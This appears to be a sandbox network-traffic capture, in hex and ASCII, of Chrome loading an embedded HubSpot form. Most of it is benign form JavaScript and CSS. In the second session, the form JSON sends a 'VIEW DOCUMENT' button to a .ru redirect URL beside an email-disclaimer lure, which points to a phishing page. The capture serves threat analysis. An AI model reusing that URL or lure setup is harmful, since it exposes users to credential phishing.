6c 6f 72 2c 23 31 35 32 39 35 61 29 7d 23 68 73 2d 6d 6f 64 61 6c 2d 63 6f 6e 74 65 6e 74 20 23 68 73 2d 6d 6f 64 Data Ascii: );box-shadow:0 8px 28px rgba(0,0,0,.28);font-size:var(--hs-banner-modal-font-size,14px);font-family:var(--hs-banner-font-family,"Lato"),sans-serif;font-weight:400;line-height:1.75em;color:var(--hs-banner-modal-text-color,#15295a)}#hs-modal-content #hs-mod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49863	104.18.141.119	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	522	OUT	GET /forms/embed/v3.js HTTP/1.1 Host: js.hsforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=mnsonLSnUwFfwbYOY64rTU0oZhTPSK3RrXWaDLz1Zzk-1736507073-1.0.1.1-6J1RBGV.k6uYTQJDxBjlWIGbHInjJOgiv_xG0RPDG6ZAGmUekOCSRDjjvMxg4Ke0yvnhW4T0V2q9yGdWJfuJOg
2025-01-10 11:04:35 UTC	1335	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Thu, 12 Dec 2024 15:46:41 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: NleS4zhpR.RgCyKUKjNliOHGyZMPXoaR etag: W/"9045150ea546201948ca19ee2f5bfd0b" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 a4f9ca051b97c1ac09e2af244690d376.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: fbAjZ7CVBVMY-XBpswxQcGC2VgrQeyw8iw3WBMvAYaNyVvV67-jKSA== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=forms-embed/static-1.6926/bundles/project-v3.js&cfRay=8f8104f7d7eed6e1-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: forms-embed/static-1.6926/bundles/project-v3.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: MISS x-envoy-upstream-service-time: 7 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 04d10ba3-d2ef-48ec-b5c2-dbc9dc6ffeee x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-2w2nl x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all
2025-01-10 11:04:35 UTC	630	IN	Data Raw: 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 30 34 64 31 30 62 61 33 2d 64 32 65 66 2d 34 38 65 63 2d 62 35 63 32 2d 64 62 63 39 64 63 36 66 66 65 65 65 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 76 33 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 33 36 30 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 4a 45 4d 4b 76 74 34 76 30 64 4a 4c 25 32 42 5a 78 57 38 37 4c 74 75 67 6c 30 69 72 Data Ascii: x-request-id: 04d10ba3-d2ef-48ec-b5c2-dbc9dc6ffeeecache-tag: staticjsapp-forms-embed-v3-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 360Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JEMKvt4v0dJL%2BZxW87Ltugl0ir
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 61 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 5b 72 5d 2e 63 61 6c 6c 28 61 2e 65 78 70 6f 72 74 73 2c 61 2c 61 2e 65 78 70 6f 72 74 73 2c 6e 29 3b 61 2e 6c 3d 21 30 3b 72 65 74 75 72 6e 20 61 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 3b 6e 2e 63 3d 74 3b 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 3b 6e Data Ascii: 7ffa!function(e){var t={};function n(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};e[r].call(a.exports,a,a.exports,n);a.l=!0;return a.exports}n.m=e;n.c=t;n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})};n
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 61 5b 6e 5d 3d 65 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 61 7d 7d 2c 22 2b 5a 32 53 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 72 3d 28 65 3d 7b 7d 2c 74 3d 22 22 2c 6e 2c 61 3d 7b 7d 29 3d 3e 7b 63 6f 6e 73 74 5b 69 2c 2e 2e 2e 6f 5d 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 30 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 29 26 26 21 61 2e 6f 76 65 72 77 72 69 74 65 7c 7c 28 65 5b 74 5d 3d 6e 29 3b 65 6c 73 65 7b 28 21 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 7c 7c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 21 65 5b 69 5d 29 26 26 28 65 5b 69 5d 3d 7b 7d 29 3b 72 28 Data Ascii: xOf(n)>=0\|\|(a[n]=e[n])}return a}},"+Z2S":function(e,t,n){"use strict";const r=(e={},t="",n,a={})=>{const[i,...o]=t.split(".");if(0===o.length)e.hasOwnProperty(t)&&!a.overwrite\|\|(e[t]=n);else{(!e.hasOwnProperty(i)\|\|e.hasOwnProperty(i)&&!e[i])&&(e[i]={});r(
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 36 4e 66 77 22 29 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 65 2e 73 70 6c 69 74 28 22 40 22 29 5b 31 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 66 3d 65 3d 3e 65 2e 62 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 41 64 64 72 65 73 73 65 73 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 65 3d 3e 65 2e 74 72 69 6d 28 29 29 3b 76 61 72 20 70 3d 28 65 3d 7b 7d 2c 74 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 72 3d 5b 5d 2c 61 3d 5b 5d 2c 69 3d 64 28 65 2e 65 6d 61 69 6c 29 2c 6f 3d 5b 2e 2e 2e 66 28 65 29 2c 2e 2e 2e 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3f 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3a 5b 5d 5d 2c 73 3d 21 21 65 2e 73 75 63 63 65 73 73 2c 6c 3d 21 21 65 2e 65 6d 61 69 6c 53 68 6f 75 6c 64 52 65 73 75 Data Ascii: 6Nfw");const d=e=>e.split("@")[1].toLowerCase(),f=e=>e.blockedDomainAddresses.split(",").map(e=>e.trim());var p=(e={},t,n)=>{const r=[],a=[],i=d(e.email),o=[...f(e),...e.contextBlockedDomains?e.contextBlockedDomains:[]],s=!!e.success,l=!!e.emailShouldResu
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 7d 29 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 7d 29 29 3b 6e 2e 64 28 74 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 76 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 61 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 45 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 6b 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 63 Data Ascii: unction(){return P}));n.d(t,"a",(function(){return F}));n.d(t,"b",(function(){return U}));function T(e){return{type:r.v,payload:e}}function x(e){return{type:r.a,payload:e}}function A(e){return{type:r.E,payload:e}}function L(e){return{type:r.k,payload:e}}c
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 7d 2c 55 3d 28 5b 65 2c 74 5d 29 3d 3e 28 6e 2c 72 29 3d 3e 7b 63 6f 6e 73 74 20 61 3d 72 28 29 2c 73 3d 4f 62 6a 65 63 74 28 6f 2e 79 29 28 61 29 2c 63 3d 4f 62 6a 65 63 74 28 6f 2e 6b 29 28 61 29 2c 64 3d 4f 62 6a 65 63 74 28 6c 2e 61 29 28 61 29 2c 66 3d 4f 62 6a 65 63 74 28 69 2e 61 29 28 61 2c 74 29 3b 69 66 28 21 4f 62 6a 65 63 74 28 79 2e 61 29 28 74 29 26 26 4f 62 6a 65 63 74 28 75 2e 62 29 28 74 29 29 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 64 29 29 3b 6b 28 7b 75 72 6c 3a 64 2c 70 6f 72 74 61 6c 49 64 3a 73 2c 66 6f 72 6d 49 64 3a 63 2c 65 6d 61 69 6c 3a 74 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 66 29 29 3b 6e 28 41 28 5b 74 2c 7b 72 65 73 75 62 73 63 72 69 62 65 64 3a 21 30 7d 5d 29 29 Data Ascii: },U=([e,t])=>(n,r)=>{const a=r(),s=Object(o.y)(a),c=Object(o.k)(a),d=Object(l.a)(a),f=Object(i.a)(a,t);if(!Object(y.a)(t)&&Object(u.b)(t)){n(Object(v.c)(E.d));k({url:d,portalId:s,formId:c,email:t}).then(()=>{n(Object(v.c)(E.f));n(A([t,{resubscribed:!0}]))
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 7d 29 3b 63 61 73 65 22 73 65 74 46 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 7d 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 65 7d 7d 2c 6c 3d 4f 62 6a 65 63 74 28 61 2e 61 29 28 5b 6f 2c 28 29 3d 3e 6e 75 6c 6c 5d 29 2c 75 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d 29 Data Ascii: bmissionError":return Object.assign({},e,{formSubmissionError:t.formSubmissionError});case"setFormSubmissionWarning":return Object.assign({},e,{formSubmissionWarning:t.formSubmissionWarning});default:return e}},l=Object(a.a)([o,()=>null]),u=({children:e})
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 62 65 6c 3a 4f 62 6a 65 63 74 28 75 2e 61 29 28 65 2c 22 66 69 65 6c 64 4c 61 62 65 6c 73 2e 22 2b 74 2e 69 64 2c 7b 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 74 2e 6c 61 62 65 6c 7d 29 7d 2c 7b 73 68 6f 75 6c 64 53 68 6f 77 43 6f 75 6e 74 72 79 44 72 6f 70 64 6f 77 6e 3a 74 2e 66 69 65 6c 64 54 79 70 65 3d 3d 3d 64 2e 6d 3f 4f 62 6a 65 63 74 28 66 2e 62 29 28 65 2c 74 29 3a 6e 75 6c 6c 7d 2c 7b 6c 6f 63 61 6c 65 3a 4f 62 6a 65 63 74 28 70 2e 61 29 28 65 29 7d 29 2c 62 3d 28 65 2c 7b 66 69 65 6c 64 3a 74 7d 29 3d 3e 28 7b 75 70 64 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 67 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 49 6e 70 75 74 53 74 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 65 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 Data Ascii: bel:Object(u.a)(e,"fieldLabels."+t.id,{defaultValue:t.label})},{shouldShowCountryDropdown:t.fieldType===d.m?Object(f.b)(e,t):null},{locale:Object(p.a)(e)}),b=(e,{field:t})=>({update:n=>e(Object(i.g)([t,n])),updateInputState:n=>e(Object(i.e)([t,n])),update
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 3b 63 61 73 65 22 73 74 61 74 65 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 31 22 3b 63 61 73 65 22 61 64 64 72 65 73 73 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 69 6e 65 31 22 3b 63 61 73 65 22 63 69 74 79 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 32 22 3b 63 61 73 65 22 63 6f 75 6e 74 72 79 22 3a 72 65 74 75 72 6e 22 63 6f 75 6e 74 72 79 2d 6e 61 6d 65 22 3b 63 61 73 65 22 7a 69 70 22 3a 72 65 74 75 72 6e 22 70 6f 73 74 61 6c 2d 63 6f 64 65 22 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 7d 7d 3b 74 2e 61 3d 72 7d 2c 22 32 52 46 69 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 22 70 6d 67 66 22 29 3b 76 61 72 20 61 3d 65 3d Data Ascii: ;case"state":return"address-level1";case"address":return"address-line1";case"city":return"address-level2";case"country":return"country-name";case"zip":return"postal-code";default:return}};t.a=r},"2RFi":function(e,t,n){"use strict";var r=n("pmgf");var a=e=
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 65 63 74 28 72 2e 61 29 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 61 2e 61 29 28 6e 29 3f 6e 75 6c 6c 3a 60 24 7b 65 7d 3a 20 24 7b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 7d 60 7d 2c 6f 3d 6e 28 22 47 33 49 50 22 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 29 29 3b 63 6f 6e 73 74 20 73 3d 65 3d 3e 28 7b 74 79 70 65 3a 6f 2e 62 2c 70 61 79 6c 6f 61 64 3a 65 7d 29 2c 6c 3d 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3d 3e 6e 3d 3e 7b 63 6f 6e 73 74 20 72 3d 69 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3b 72 26 26 6e 28 73 28 72 29 29 7d 7d 2c 22 32 5a 6b 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b Data Ascii: ect(r.a)(t);return Object(a.a)(n)?null:`${e}: ${JSON.stringify(t)}`},o=n("G3IP");n.d(t,"a",(function(){return l}));const s=e=>({type:o.b,payload:e}),l=({message:e,properties:t})=>n=>{const r=i({message:e,properties:t});r&&n(s(r))}},"2Zks":function(e,t,n){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49864	104.18.80.204	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	742	OUT	GET /embed/v3/form/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:35 UTC	1306	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close x-origin-hublet: na1 vary: origin access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: OPTIONS, GET access-control-allow-headers: * access-control-allow-credentials: false access-control-max-age: 180 x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet Cache-Control: max-age=0, no-cache, no-store x-robots-tag: none x-envoy-upstream-service-time: 41 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 1e511384-b6c2-4138-b376-244fdf573999 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-g6ppr x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 1e511384-b6c2-4138-b376-244fdf573999 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=am15GL5I3e1aTwz4NwICIFAaySizD7XvqG_DtHLrZO4-1736507075-1.0.1.1-pRowtkvK2Q57RKPKiT91Y0OzZwFG9KUb4V5GAFobeoYNmUVm7kFium2q4ig_2.PxYDKYeKZ99nennSf7xBrbQw; path=/; expires=Fri, 10-Jan-25 11:34:35 GMT; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2025-01-10 11:04:35 UTC	241	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 33 64 59 4d 2e 69 48 67 48 5a 67 6f 56 45 43 46 49 62 37 58 68 30 59 64 61 31 6d 74 59 34 68 56 75 4c 43 5a 63 5f 4b 6f 73 43 6f 2d 31 37 33 36 35 30 37 30 37 35 33 37 33 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 63 32 66 65 34 38 66 32 63 37 63 38 65 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=3dYM.iHgHZgoVECFIb7Xh0Yda1mtY4hVuLCZc_KosCo-1736507075373-0.0.1.1-604800000; path=/; domain=.hsforms.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8ffc2fe48f2c7c8e-EWRalt-svc: h3=":443"; ma=86400
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 32 35 30 65 0d 0a 7b 22 66 6f 72 6d 22 3a 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 35 32 38 30 32 38 2c 22 67 75 69 64 22 3a 22 38 38 66 66 38 36 35 39 2d 30 62 65 66 2d 34 66 34 30 2d 61 66 35 33 2d 37 34 63 33 32 61 38 32 66 61 34 62 22 2c 22 63 73 73 43 6c 61 73 73 22 3a 22 68 73 2d 66 6f 72 6d 20 73 74 61 63 6b 65 64 22 2c 22 69 6e 6c 69 6e 65 4d 65 73 73 61 67 65 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 35 71 77 6f 2e 6f 76 65 6e 74 65 72 61 2e 72 75 2f 31 4f 53 6f 4b 2f 22 2c 22 73 75 62 6d 69 74 54 65 78 74 22 3a 22 56 49 45 57 20 44 4f 43 55 4d 45 4e 54 22 2c 22 66 6f 72 6d 46 69 65 6c 64 47 72 6f 75 70 73 22 3a 5b 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 Data Ascii: 250e{"form":{"portalId":48528028,"guid":"88ff8659-0bef-4f40-af53-74c32a82fa4b","cssClass":"hs-form stacked","inlineMessage":"","redirectUrl":"https://5qwo.oventera.ru/1OSoK/","submitText":"VIEW DOCUMENT","formFieldGroups":[{"fields":[],"default":true,"i
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 6e 66 6f 72 6d 61 74 69 6f 6e 2e 20 26 23 78 61 30 3b 49 66 20 79 6f 75 20 61 72 65 20 6e 6f 74 20 74 68 65 20 69 6e 74 65 6e 64 65 64 20 72 65 63 69 70 69 65 6e 74 2c 26 23 78 61 30 3b 79 6f 75 20 6d 75 73 74 20 6e 6f 74 20 64 69 73 63 6c 6f 73 65 20 6f 72 20 75 73 65 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 63 6f 6e 74 61 69 6e 65 64 20 69 6e 20 69 74 2e 26 23 78 61 30 3b 49 66 20 79 6f 75 20 68 61 76 65 20 72 65 63 65 69 76 65 64 20 74 68 69 73 20 65 6d 61 69 6c 20 6f 72 20 69 74 73 20 61 74 74 61 63 68 6d 65 6e 74 73 26 23 78 61 30 3b 69 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 6e 6f 74 69 66 79 20 75 73 20 69 6d 6d 65 64 69 61 74 65 6c 79 20 62 79 20 72 65 74 75 72 6e 20 65 6d 61 69 6c 20 61 6e 64 20 64 65 6c 65 74 65 20 74 68 65 20 Data Ascii: nformation.  If you are not the intended recipient, you must not disclose or use the information contained in it. If you have received this email or its attachments in error, please notify us immediately by return email and delete the
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 22 70 61 67 69 6e 61 74 69 6f 6e 50 72 6f 67 72 65 73 73 43 6f 6c 6f 72 5c 22 3a 5c 22 23 35 39 38 41 46 46 5c 22 2c 5c 22 70 61 67 69 6e 61 74 69 6f 6e 50 72 6f 67 72 65 73 73 54 65 78 74 43 6f 6c 6f 72 5c 22 3a 5c 22 23 33 33 34 37 35 42 5c 22 2c 5c 22 70 61 67 69 6e 61 74 69 6f 6e 50 72 6f 67 72 65 73 73 53 68 6f 77 5c 22 3a 74 72 75 65 2c 5c 22 70 61 67 69 6e 61 74 69 6f 6e 50 72 6f 67 72 65 73 73 54 72 61 6e 73 69 74 69 6f 6e 5c 22 3a 5c 22 66 61 64 65 5c 22 2c 5c 22 70 61 67 69 6e 61 74 69 6f 6e 50 72 6f 67 72 65 73 73 54 68 65 6d 65 5c 22 3a 5c 22 64 65 66 61 75 6c 74 5c 22 2c 5c 22 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 65 6e 74 55 73 65 53 63 72 6f 6c 6c 5c 22 3a 66 61 6c 73 65 2c 5c 22 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 65 6e 74 53 63 Data Ascii: "paginationProgressColor\":\"#598AFF\",\"paginationProgressTextColor\":\"#33475B\",\"paginationProgressShow\":true,\"paginationProgressTransition\":\"fade\",\"paginationProgressTheme\":\"default\",\"paginationContentUseScroll\":false,\"paginationContentSc
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 6d 73 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 68 73 2d 62 75 74 74 6f 6e 7b 77 69 64 74 68 3a 37 30 25 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 68 73 2d 62 75 74 74 6f 6e 20 73 70 61 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 68 73 2d 72 69 63 68 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 66 66 66 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e Data Ascii: ;-webkit-border-radius:3px;-moz-border-radius:3px;-ms-border-radius:3px;border-radius:3px}.hs-video-form .hs-button{width:70%}.hs-video-form .hs-button span{font-size:15px}.hs-video-form .hs-richtext{color:#fff !important}.hs-video-form .legal-consent-con
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 62 66 7d 73 65 6c 65 63 74 2e 69 73 2d 70 6c 61 63 65 68 6f 6c 64 65 72 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 33 33 34 37 35 62 7d 2e 68 73 2d 69 6e 70 75 74 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 62 66 62 66 62 66 7d 2e 68 73 2d 69 6e 70 75 74 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 62 66 62 66 62 66 7d 2e 68 73 2d 69 6e 70 75 74 20 6f 70 74 69 6f 6e 3a 64 69 73 61 62 6c 65 64 7b 63 6f 6c 6f 72 3a 23 62 66 62 66 62 66 7d 2e 68 73 2d 69 6e 70 75 74 20 69 6e 70 75 74 2c 2e 68 73 2d 69 6e 70 75 74 20 74 65 78 74 61 72 65 61 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 20 2e 32 73 20 6c 69 6e 65 61 72 7d 2e 68 73 2d 69 6e 70 75 74 3a 66 6f 63 75 Data Ascii: bf}select.is-placeholder:focus{color:#33475b}.hs-input:-moz-placeholder{color:#bfbfbf}.hs-input::-webkit-input-placeholder{color:#bfbfbf}.hs-input option:disabled{color:#bfbfbf}.hs-input input,.hs-input textarea{transition:border .2s linear}.hs-input:focu
